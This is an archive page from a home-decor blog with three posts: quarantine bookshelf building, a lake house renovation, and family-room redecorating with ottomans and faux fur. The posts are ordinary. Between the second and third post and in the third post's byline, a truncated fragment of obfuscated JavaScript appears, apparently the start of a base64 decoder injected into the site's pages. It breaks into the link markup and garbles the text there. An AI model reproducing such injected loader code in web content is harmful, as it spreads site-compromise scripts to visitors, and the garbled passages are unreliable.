Design

Quarantine & Bookshelves (Take 2)

March 27, 2020 by christen 1 Comment

Hi!!!!! Where the heck have you all been? Just kidding. I know, it me and it’s so nice to sit here writing and thinking of you all. How has everyone been? Are we surviving? I’ve been quarantined for 11 days with the fam and it’s a real rollercoaster. I have found that there are a few things that help me. A schedule, texting or face-timing with friends, reading, an afternoon walk, cooking dinner with the kids and small and/or big project. Projects help.

I have cleaned out a lot of closets, organized papers, baked, browsed and read. Little projects. When Brent was able to take a break for tele-working this weekend, we got to start a big project. A big project gives big satisfaction.

Brent was able to order wood for the bookshelves that we’ve talked about building for a while now. Brent loves this type of work. I knew this would be good for him and his mental state.

Look at him go! That’s like 3 hours work of work too. I married the right man, People. We looked at a ton of photos and talked about the design. Here’s some of the images that we are going for. Dark and English. Oh, and of course a ladder.

Our study is rather small and we will require a desk and the small, leather couch that has been in there. My vision is that it will be a layered, cozy look. I am looking at some blue/green paints. We still have a ways to go before that part of the process. I love how the kids are involved.

Since we will have these cool built-ins, I am sadly going to need to sell a beautiful piece that I bought from a former client of mine. You may remember it. It has the most beautiful golden chicken wire on the door fronts, glass shelves. If interested, email me directly. cbensten@blueeggbrownnest.com

Last thought. I know we are all taking things day by day and it can be really isolating, lonely, anxiety-provoking and irritating. I hope you all can give yourself some grace during this hard time. Place your hand on your heart and take a deep breath. Thank yourself for doing your very best. We can do hard things.

Love to all of you.

Filed Under: building a house Tagged With: blue egg brown nest, Building bookshelves, chalk Paint, Design, interior design, study, vintage study

…lake reno continued

May 3, 2017 by christen 7 Comments

I don’t know about you, but I can’t feel completely and totally relaxed in a room of mine unless it’s exactly the way I want it. It’s hard for me to settle down and even watch a show without looking around and rearranging in my head. We’ve been blessed to be in our lake house for a year now and we are doing little things to renovate and decorate.

As you know, I’m using blues and whites, but trying not to be too cliche about it. Here’a an update:

I’m so excited about this rug. It adds just a little global to the room and the tassels are braided. Super cute. These are some Ballard chairs that I purchased about 10 years ago and had them recovered in the same Sunbrella that I did at my home.

I’m also happy about how the coffee table turned out with the sanded and stained top w/ white legs. To be honest, the only reason those legs are white is because DH said there’s no way he’s sanding them and I didn’t jump to it either. I think it works for now.

For now, I am leaving the large fireplace stone. Initially I was going to – wait for it – paint it, but it doesn’t bother me so much. I found these cool, antique windows at a barn sale last year and the boat is from my dad’s antique collection. The boxwoods are faux, but I always like a little green and the chairs are in the color I wanted. Very inexpensive for chairs. Shhhhhhh. Found them at Joss and Main for about $200 each. I didn’t like the legs and so I ordered new ones and voila!

I think it makes the chairs look more expensive. I found the legs on Amazon and they literally screwed right in! Easy.

I finished my teacup series and hung them without a level or tape measure on the wall. DH was impressed. And I used Command strips – best invention ever! You never have to use a nail again! These things are impressive.

Love how the gold frames (also via Amazon) catch my eye. The basement guestroom is just about completed and the stairway will be in Phase II because we still need time for plenty of play!

Filed Under: building a room Tagged With: blue egg brown nest, Decor, Design, DH, lake renovation, renovation

function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do/" rel="bookmark">…family room, fabric and fur

January 4, 2017 by christen function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do/#respond">Leave a Comment

Umm, so it’s the New Year and after taking down the tree and sending the kids off to their busy days, I get an itch to move around all my furniture, clear off the table tops and re-decorate EVERYTHING. Unfortunately, I don’t have the budget to do this. But, I think I can sneak in a few changes without breaking the bank.

I guess I wormed my way into ordering some ottomans after returning a few Christmas presents from DH. I know there are those of us out there that return gifts from our husbands so we can get what we are eyeing. For me, most times, I end up returning clothing items for house items. For me, I think it’s more of a feeling of freshening up the house and creating an inspiring feeling….for myself. Yes, it’s for me. This homebody gets inspiration from her home and I want it the way I think it should be and there’s no shame in that. Sometimes Mama wins.

So, I’m starting with buying ottomans for my side chairs and because they no longer make the fabric for my roll armed chairs, I had to start from scratch and redo those. It’s a project. I’m not sure the fabric was working in their anyway because I changed out my turquoise pillows for more neutral over the last spring. Then, I started to feel like the room was so neutral. I’m working on a game plan. And yes, I’m going to try to do pictures with cats in them. Not too hard to do and I love it.

I want to keep a bit of blue because it makes me happy….and I get very distracted by pattern when looking at fabric.

Maybe I’ll change things on the large coffee table. Maybe only books on the coffee table. Maybe lanterns. Maybe brass lanterns because brass is definitely having a moment. This would be an easy way to include it. Hmmmm.

Yes, I like something like this I think. It’s just a touch of what is trending now with that sleek look. Yes, my rustic lovers, sleek is in and shabby not so much. But, we don’t have to give up what we love. We can just do a little here and there. I like to keep relevant so I’m giving it a go. And books never go out of style.

In my search for colors that work and renew, some of my favorite designer are using black. Hmmm. I never would have considered it, but it can actually work with neutrals. I’m not sold yet, but considering it. One of my favorite blogs has some beautiful designs. Yes, these are a bit more modern and West Coast, but I can appreciate the textures.

I am also planning on upholstering some wood chairs MYSELF with faux fur. I promise to show you as I am very, very excited about it! Fur is hot right now too and can go shabby or modern. Win.

And this fur below is timeless. Always en vogue, Boys.

If you have not started following my new lifestyle blog, join me! I’ve been discussing books I’ve read and the diet I’ve been doing the past few months (PS, I’ve lost 20 lbs in 2 months so it’s worth a look!)

Subscribe to Christen Bensten here. Connect here for social media.

Filed Under: building a room Tagged With: decorating with fur, Design, fabric, family room, fur